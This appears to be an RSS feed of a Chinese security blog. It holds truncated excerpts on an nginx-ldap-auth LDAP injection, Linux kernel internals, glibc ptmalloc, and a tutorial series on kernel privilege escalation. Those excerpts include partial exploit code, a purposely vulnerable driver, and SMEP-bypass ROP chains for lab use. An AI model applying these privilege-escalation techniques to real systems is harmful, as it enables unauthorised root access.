<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on povcfe&#39;s site</title>
    <link>https://www.povcfe.site/post/</link>
    <description>Recent content in Posts on povcfe&#39;s site</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 19 Apr 2022 00:00:00 -0400</lastBuildDate><atom:link href="https://www.povcfe.site/post/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>nginx-ldap-auth之user注入漏洞</title>
      <link>https://www.povcfe.site/post/nginx-ldap-auth/</link>
      <pubDate>Tue, 19 Apr 2022 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/nginx-ldap-auth/</guid>
      <description>前段时间, 有人声称发现nginx 0day, 并在NginxDay中持续跟进漏洞上报流程, 虽然漏洞确实存在, 但漏洞只存在于一个示例项目, 且漏洞危害较低. 就目前笔者漏洞分析来看, 该行为多少有点花里胡哨, 下面分析一下这个有些鸡肋的漏洞.
nginx提供ngx_http_auth_request_module模块用于鉴权, 其功能特点为需要用户自定义实现鉴权api, 并由ngx_http_auth_request_module模块调用
nginx-ldap-auth结合ldap实现鉴权机制, 是一种用户自定义实现鉴权api的示例项目
nginx-ldap-auth功能原理 nginx-ldap-auth关键文件
backend-sample-app.py(处理登录表单), 将user:passwd base64编码后设置Cookie nginx-ldap-auth-daemon.py(结合ldap进行鉴权), 解析http报文中的Cookie/Authorization(有Cookie的情况下鉴权以Cookie为主) ngx_http_auth_request_module模块常用路由
nginx直接向nginx-ldap-auth-daemon.py对应url发起请求, 此时未设置Cookie/Authorization返回401
nginx转发请求至backend-sample-app.py对应url处理登录表单, 并设置Cookie
nginx重定向请求至nginx-ldap-auth-daemon.py对应url, 此时存在Cookie, 解析user, passwd, 调用ldap实现鉴权, 成功则返回200
nginx-ldap-auth-daemon.py鉴权分析 从下面鉴权代码可以看出, nginx-ldap-auth-daemon.py使用searchfilter过滤ldap结果, 查找目标登录用户
// ctx[&amp;#39;template&amp;#39;]默认对应: &amp;#39;template&amp;#39;: (&amp;#39;X-Ldap-Template&amp;#39;, &amp;#39;(cn=%(username)s)&amp;#39;), // ctx[&amp;#39;user&amp;#39;], ctx[&amp;#39;pass&amp;#39;]: 从Cookie中解析出的user, passwd searchfilter = ctx[&amp;#39;template&amp;#39;] % { &amp;#39;username&amp;#39;: ctx[&amp;#39;user&amp;#39;] } ... // 默认使用(cn=username)这种模式在ldap中查找用户 results = ldap_obj.search_s(ctx[&amp;#39;basedn&amp;#39;], ldap.SCOPE_SUBTREE, searchfilter, [&amp;#39;objectclass&amp;#39;], 1) user_entry = results[0] ldap_dn = user_entry[0] ldap_obj.</description>
    </item>
    
    <item>
      <title>linux内核(5.4.81)---网络模块源码分析</title>
      <link>https://www.povcfe.site/post/kernel_net/</link>
      <pubDate>Sun, 28 Mar 2021 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_net/</guid>
      <description>发表于安全客
1. socket 1.1 sock_create 1.1.1 sock_alloc 1.1.2 inet_create 1.1.2.1 sk_alloc 1.2 sock_map_fd 2. send(运输层) 2.1 import_single_range 2.2 sockfd_lookup_light 2.3 sock_sendmsg 2.4 udp_sendmsg 2.4.1 udp_cmsg_send 2.4.2 TOS 2.4.3 多播/本地广播 2.4.4 检查sock中路由信息是否过期 2.4.5 udp_send_skb 2.4.6 udp_push_pending_frames 3. recv(运输层) 2.1 udp_recvmsg 2.1.1 __skb_recv_udp 2.1.1.1 __skb_try_recv_from_queue 4. IP(网络层) 4.1 ip_cmsg_send 4.2 ip_make_skb 4.2.1 ip_setup_cork 4.2.2 __ip_make_skb 4.3 ip_append_data 4.3.1 __ip_append_data 4.4 ip_send_skb 4.4.1 __ip_local_out 1. socket SOCK_CLOEXEC 和 SOCK_NONBLOCK是2.6.27版本后增加的sock类型:
SOCK_CLOEXEC 借助文件描述符FD_CLOEXEC 实现子进程运行exec后关闭sock_fd机制
SOCK_NONBLOCK 借助文件描述符O_NONBLOCK 实现非阻塞IO通信</description>
    </item>
    
    <item>
      <title>linux内核(5.4.81)---KASAN</title>
      <link>https://www.povcfe.site/post/kernel_kasan/</link>
      <pubDate>Sun, 21 Mar 2021 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_kasan/</guid>
      <description>发表于安全客
KASAN 简述 KASAN是内核用于动态检测内存错误的工具, 简单来说, 数据区域可分为两种:可访问区域，不可访问区域(red_zone).KASAN存在影子内存(shadow memory), 他和正常内存的比例是1:8, 即1byte shadow memory可以代表8bytes 正常内存的可访问性.
128TB(内核正常内存) : 16TB(影子内存) &amp;mdash; Documentation/x86/x86_64/mm.rst x86-64 内存布局显示如下:
ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory 具体规则(+: byte可访问, -: byte不可访问)
如果1byte shadow memory对应的8bytes 内存都可访问, 则*(shadow memory) == 0 [0] -&amp;gt; [+, +, +, +, +, +, +, +] 如果1byte shadow memory对应的8bytes 内存都不可访问, 则*(shadow memory)为负数 [-1] -&amp;gt; [-, -, -, -, -, -, -, -] 如果1byte shadow memory对应的8bytes 内存中有N bytes可访问, 则*(shadow memory) == N if N = 3 [3] -&amp;gt; [+, +, +, -, -, -, -, -] 实现原理</description>
    </item>
    
    <item>
      <title>一些思考</title>
      <link>https://www.povcfe.site/post/reprint/</link>
      <pubDate>Wed, 27 Jan 2021 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/reprint/</guid>
      <description>一些思考, 转眼间, 入坑安全已经两年, 一些心得
2017-2018学年(大一) 2017年进入大学, 学习土木工程专业, 如果没有后面不知缘由的对计算机的热爱, 或许我现在正在朝着桥梁设计建造工程师这个方向迈进
在通识课上, 第一次接触c语言, 由此写出了人生中的第一行hello world
奇怪的是, 我并没有想着要用c语言去完成什么高大上的项目, 自己告诉自己, 我只是想知道为什么hello world可以被输出
那几个月天天抱着一本厚厚的c语言去研究, 这也算是我的计算机启蒙了吧
但是我还是不知道为什么hello world可以被输出?
再后来对这个问题答案的渴求促使我转专业(即使降级也要转专业), 我不想和这个问题擦肩而过(或许那个时候, 如果有人可以和我说懂这个问题, 我就可以在土木安心呆着了呢 =.=)
接下来就是准备转专业, 开始转专业, 降级转网安成功(顺便遇到了我可爱的女朋友 &amp;gt;。&amp;lt;)
2018-2019学年(还是大一) 带着2017年的问题, 我进入网安, 接触了二进制, 我坚信学习这个方向可以解决我的疑惑
于是2018年的那个秋天, 捧着汇编, 程序员的自我修养度日, 三个月后颤颤巍巍的拿到第一个栈溢出shell, 似懂非懂, 浑浑噩噩, 有拿到shell的喜悦, 但疑惑加深了, 我还是没有解决我的问题, 仿佛陷入死胡同, 而且三个月才学会第一个栈溢出, 这很明显是傻子行为
不是很服气, 于是二刷程序员的自我修养, 这一次好像懂了些什么(elf文件结构, 动态链接, 静态链接, 堆栈布局), 又好像什么都不懂, 总感觉有些东西没有抓住(另外出现了一个新的问题: 进程与进程之间的内存为什么不会产生冲突, 明明汇编会访问相同的地址)
带着疑问, 继续学习栈溢出, 利用技巧花里胡哨, 简直是神仙打架, 遇到问题, 解决问题, 解决不了问题, 自闭几天, 再去解决问题, 磕磕绊绊的也算是把利用技巧全部复现了一遍
赌气似的三刷程序员的自我修养, 很明显这次我懂了更多的东西, 于是回过头整理了一遍栈溢出, 这次出奇的顺利, 没有任何阻碍, 我想或许这段时间我确实进步了</description>
    </item>
    
    <item>
      <title>linux内核(5.4.81)---内存管理模块源码分析</title>
      <link>https://www.povcfe.site/post/kernel_mm/</link>
      <pubDate>Tue, 12 Jan 2021 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_mm/</guid>
      <description>已投稿于安全客
页表 1.1. 页表查询&amp;ndash;以x86_64下的4级页表举例(硬件) 1.1.1. TLB转换 1.1.2. 页表转换 1.1.3. 页表结构cache转换 1.2. 拓展 1.2.1. 普通页表cache 1.2.2. Huge_Page 1.2.3. 页表标志位 伙伴算法(buddy) alloc_pages源码分析 3.1. alloc_pages_current 3.2. __alloc_pages_nodemask 3.2.1. get_page_from_freelist 3.2.2. _alloc_pages_slowpath _free_pages源码分析 4.1. free_unref_page 4.1.1. free_pcppages_bulk 4.2. __free_pages_ok 4.2.1. __free_one_page slub算法 5.1. 结构体解析 kmem_cache_alloc源码分析 6.1. __slab_alloc 6.1.1. get_freelist kmem_cache_free源码分析 7.1. cache_from_obj 7.2. slab_free_freelist_hook 7.3. do_slab_free 7.3.1. __slab_free 进程vma 8.1. vm_area_struct 结构体 8.2. find_vma(vma查找) 8.2.1. vmacache_find 8.3. insert_vm_struct(vma插入) 8.3.1. find_vma_links 8.3.2. 红黑树规则 缺页中断 9.1. __do_page_fault源码分析 9.</description>
    </item>
    
    <item>
      <title>linux内核(5.6.6)---内核引导</title>
      <link>https://www.povcfe.site/post/kernel_boot/</link>
      <pubDate>Sat, 06 Jun 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_boot/</guid>
      <description>发表于看雪论坛
本文详细讲解linux内核的加载过程，参考linux-insiders，并结合linux-5.6.6代码对原文的部分老旧内容做修改
引导 按下电源开关后, CPU设置寄存器为预定值，程序在实模式下运行，程序首先执行0xfffffff0(映射至ROM)处内容，此处为复位向量，直接跳转至BIOS。
BIOS初始化，检查硬件，寻找可引导设备，跳转至引导扇区代码(boot.img)
寻找可引导设备方式: 定位MBR分区, 引导扇区存储在第一个扇区(512字节)的头446字节处。引导扇区以0x55和0xaa(magic bytes)结束。
MBR分区代码只占用一个扇区, 空间较小，只执行了一些初始化工作, 然后跳转至GRUB2的core image(以diskboot.img为起始)继续执行。
core image的初始化代码将剩余的core image(包含GRUB 2的内核代码和文件系统驱动)加载到内存中，运行grub_main
grub_main 初始化控制台，计算模块基地址，设置root设备，读取 grub 配置文件，加载模块等，最后将grub切换为normal模式
normal模式调用grub_normal_execute完成最后的准备工作，显示一个菜单列出可用的操作系统。
选择操作系统后grub_menu_execute_entry被调用，用以运行boot命令，引导操作系统, 运行kernel代码
内核自带bootloader，但是新版本内核已经弃用
kernel boot protocol规定，bootloader必须具备协议中规定的头信息
实模式运行内核 kernel地址(header.S _start)位于X + sizeof(KernelBootSector) + 1
内核加载进入内存后，空间排布 | Protected-mode kernel | 100000 +------------------------+ | I/O memory hole | 0A0000 +------------------------+ | Reserved for BIOS | Leave as much as possible unused ~ ~ | Command line | (Can also be below the X+10000 mark) X+10000 +------------------------+ | Stack/heap | For use by the kernel real-mode code.</description>
    </item>
    
    <item>
      <title>linux 内核提权总结(demo&#43;exp分析) -- 任意读写(三)</title>
      <link>https://www.povcfe.site/post/kernel_rw3/</link>
      <pubDate>Sun, 02 Feb 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_rw3/</guid>
      <description>发表于看雪论坛
hijack_modprobe_path篇 原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermodehelper(char *modprobe_path &amp;hellip;)
修改modprobe后，即可实现root权限任意命令执行
攻击流程
(内核任意读写漏洞)内核修改全局变量 modprobe_path为目标指令 写入错误格式elf文件，并手动执行，触发 一. 利用步骤 1. 定位modprobe_path(开启kaslr) 同hijack_vdso，泄漏vdso地址，因为内核kaslr开启后，只有较高字节的地址发生偏移，且vdso与基地址相距较近，所以可以使用vdso定位内核加载地址
获得当前调试阶段modprobe_path与内核基地址固定偏移
modprobe_path_addr = 内核基地址+固定偏移
2. 修改modprobe_path 为任意指令 二. 驱动代码(见cred) 三. exp #define _GNU_SOURCE #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;sys/ioctl.h&amp;gt; #include &amp;lt;sys/auxv.h&amp;gt; #include &amp;lt;sys/prctl.h&amp;gt; #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 size_t modprobe_path = 0xe3cba0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.</description>
    </item>
    
    <item>
      <title>linux 内核提权总结(demo&#43;exp分析) -- 任意读写(二)</title>
      <link>https://www.povcfe.site/post/kernel_rw2/</link>
      <pubDate>Thu, 30 Jan 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_rw2/</guid>
      <description>发表于看雪论坛
hijack_prctl篇 prctl函数: 用户态函数，可用于定制进程参数，非常适合和内核进行交互
用户态执行prctl函数后触发prctl系统调用 内核接收参数后执行security_task_prctl security_task_prctl执行hook.task_prctl poweroff_work_func函数: 内核函数，执行 run_cmd(poweroff_cmd)，即root权限执行poweroff_cmd
攻击流程:
劫持hook.task_prctl为目标函数地址(poweroff_work_func) 修改poweroff_cmd为目标指令 用户执行prctl函数，触发 一. 利用步骤 1. 定位内核加载基地址(开启kaslr) 同hijack_vdso，泄漏vdso地址，因为内核kaslr开启后，只有较高字节的地址发生偏移，且vdso与基地址相距较近，所以可以使用vdso定位内核加载地址 2. 定位hook.prctl，poweroff_cmd地址 gdb调试内核并在security_task_prctl函数处下断点，用户态程序执行prctl函数，进入security_task_prctl函数，单步执行汇编指令，通过内存查看hook.task_prctl 地址
gdb 执行 p poweroff_cmd，获得poweroff_cmd真实地址
获得hook.prctl，poweroff_cmd与内核基地址固定偏移
3. 修改poweroff_cmd 为任意指令 4. 用户态执行prctl函数，触发 二. 驱动代码(见cred篇) 三. exp #define _GNU_SOURCE #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;sys/ioctl.h&amp;gt; #include &amp;lt;sys/auxv.h&amp;gt; #include &amp;lt;sys/prctl.h&amp;gt; #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0X100003 size_t poweroff_cmd = 0; size_t prctl_hook = 0; size_t poweroff_work_func = 0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.</description>
    </item>
    
    <item>
      <title>linux 内核提权总结(demo&#43;exp分析) -- 任意读写(一)</title>
      <link>https://www.povcfe.site/post/kernel_rw1/</link>
      <pubDate>Sat, 11 Jan 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_rw1/</guid>
      <description>发表于看雪论坛
cred篇 每个线程在内核中都对应一个线程结构块thread_info
thread_info中存在task_struct类型结构体
struct task_struct中存在cred结构体用来保存线程权限
攻击流程
定位某进程的cred结构体 将cred结构提结构体的uid~fsgid全部覆写为0(前28字节) 一. 利用步骤 1. 定位cred结构体 task_struct中存在char comm[TASK_COMM_LEN]
comm字符串使用prctl函数的PR_SET_NAME自行设置
在内存中搜索被设置后的comm字符串，cred结构体地址就在附近
泄漏cred结构体地址，定向覆盖cred结构体
2. 进程权限被修改，变成root进程，执行system(&amp;quot;/bin/sh&amp;quot;)，弹出root shell 二. 驱动代码 #include &amp;lt;linux/init.h&amp;gt; #include &amp;lt;linux/module.h&amp;gt; #include &amp;lt;linux/cdev.h&amp;gt; #include &amp;lt;linux/device.h&amp;gt; #include &amp;lt;linux/fs.h&amp;gt; #include &amp;lt;linux/uaccess.h&amp;gt; #include &amp;lt;asm/cacheflush.h&amp;gt; #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0x100003 dev_t dev_id = 0; struct cdev cdev_0; struct class *dev_class; struct vunl { char *point; size_t size; } VUNL; long rw_any_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int ret = 0; switch (cmd) { case CHANGE_POINT: ret = copy_from_user(&amp;amp;VUNL, (struct vunl *)(arg), sizeof(struct vunl)); break; case RW_READ: ret = copy_to_user((char *)arg, (char *)VUNL.</description>
    </item>
    
    <item>
      <title>linux 内核提权总结(demo&#43;exp分析) -- ROP(二)</title>
      <link>https://www.povcfe.site/post/kernel_rop2/</link>
      <pubDate>Mon, 06 Jan 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_rop2/</guid>
      <description>发表于看雪论坛
ret2usr CR4篇 smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码
内核通过CR4寄存器的第20位来控制smep, 第20位为0时，smep被关闭 攻击流程
提前在用户态代码中构造进程提权代码(get_root) ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0 修改 rip 直接指向用户态提权代码,实现进程提权 一. 判断是否开启smep 查看 boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append &amp;#34;console=ttyS0 root=/dev/ram rdinit=/sbin/init&amp;#34; \ -cpu qemu64,+smep,+smap \ -nographic \ -gdb tcp::1234 smep, smap 在boot.sh -cpu选项内进行设置 二. ROP链构造 ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret ROP[i++] = 0x6f0; ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret ROP[i++] = 0; ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret ROP[i++] = 0; ROP[i++] = (size_t)get_root; 三.</description>
    </item>
    
    <item>
      <title>linux 内核提权总结(demo&#43;exp分析) -- ROP(一)</title>
      <link>https://www.povcfe.site/post/kernel_rop1/</link>
      <pubDate>Wed, 01 Jan 2020 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/kernel_rop1/</guid>
      <description>发表于看雪论坛
基础ROP篇(linux 5.0.21) 内核提权与用户态攻击的区别
攻击流程
用户态攻击: 执行 system(&amp;quot;/bin/sh&amp;quot;) 获得shell 内核提权: 内核执行 commit_creds(prepare_kernel_cred(0)) 使进程获得root权限 用户态进程执行system(&amp;quot;/bin/sh&amp;quot;) 获得root权限 shell 理解难点
内核rop链构造 用户态进程与内核之间的切换 一. 漏洞分析 (建议初学者先了解基础的驱动程序知识) 查看驱动安全机制
checksec rop.ko [*] &amp;#39;/home/povcfe/linux/flod/rop.ko&amp;#39; Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) 发现开启canary和NX 查看qemu启动脚本boot.sh
boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append &amp;#34;console=ttyS0 root=/dev/ram rdinit=/sbin/init&amp;#34; \ -cpu qemu64 \ -nographic \ -gdb tcp::1234 查看开机自启脚本
rcS #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug # 支持热拔插 /sbin/mdev -s cat /proc/kallsyms &amp;gt; /tmp/kallsyms # 当/proc/sys/kernel/kptr_restrict=1时，普通用户不能通过/proc/kallsyms读取函数地址，为减少难度直接将kallsyms内容写入临时目录 insmod rop.</description>
    </item>
    
    <item>
      <title>glibc2.23 ptmalloc 原理概述</title>
      <link>https://www.povcfe.site/post/ptmalloc/</link>
      <pubDate>Sun, 06 Oct 2019 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/ptmalloc/</guid>
      <description>发表于看雪论坛
linux用户态下的堆溢出利用即是对ptmalloc2安全机制的绕过，只有深入的了解ptmalloc，才能进行精准的堆溢出攻击
malloc __libc_malloc(传入参数:size) 判断 是否定义hook函数 ，如果存在则调用hook函数，否则跳到2 void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); 执行arena_get得到空闲分配区 arena_get (ar_ptr, bytes); 调用_int_malloc()获得内存地址 victim = _int_malloc (ar_ptr, bytes); 如果分配失败，ptmalloc会尝试再去寻找一个可用的arena并进行内存分配 if (!victim &amp;amp;&amp;amp; ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } 得到内存地址后解锁分配区 if (ar_ptr != NULL) (void) mutex_unlock (&amp;amp;ar_ptr-&amp;gt;mutex); 如果在上面的步骤中获得非mmap得到的chunk，但是chunk对应的分配区与实际的分配区不相符，则程序终止 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); _int_malloc errout: 打印错误字符串并 return 判断 size是否大于(unsigned long)(-2*MINSIZE) MINSIZE=chunk的最小大小 ，如果是则return，否则将size转换为chunk_size #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE (req)) {	\ __set_errno (ENOMEM);	\ return 0;	\ }	\ (sz) = request2size (req); 判断 前面是否没有获得空闲分配区 如果是则跳到3，否则跳到4 if (__glibc_unlikely (av == NULL)) 调用sysmalloc尝试获得chunk地址，如果得到则调用alloc_perturb 将清理空间数据，return chunk地址 if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p !</description>
    </item>
    
    <item>
      <title>Pwn思维导图</title>
      <link>https://www.povcfe.site/post/pwn/</link>
      <pubDate>Sat, 21 Sep 2019 00:00:00 -0400</pubDate>
      
      <guid>https://www.povcfe.site/post/pwn/</guid>
      <description>根据ctf-wiki总结栈溢出, 格式化字符串漏洞, 部分堆溢出利用, 制成如下思维导图
pwn.pdf</description>
    </item>
    
  </channel>
</rss>
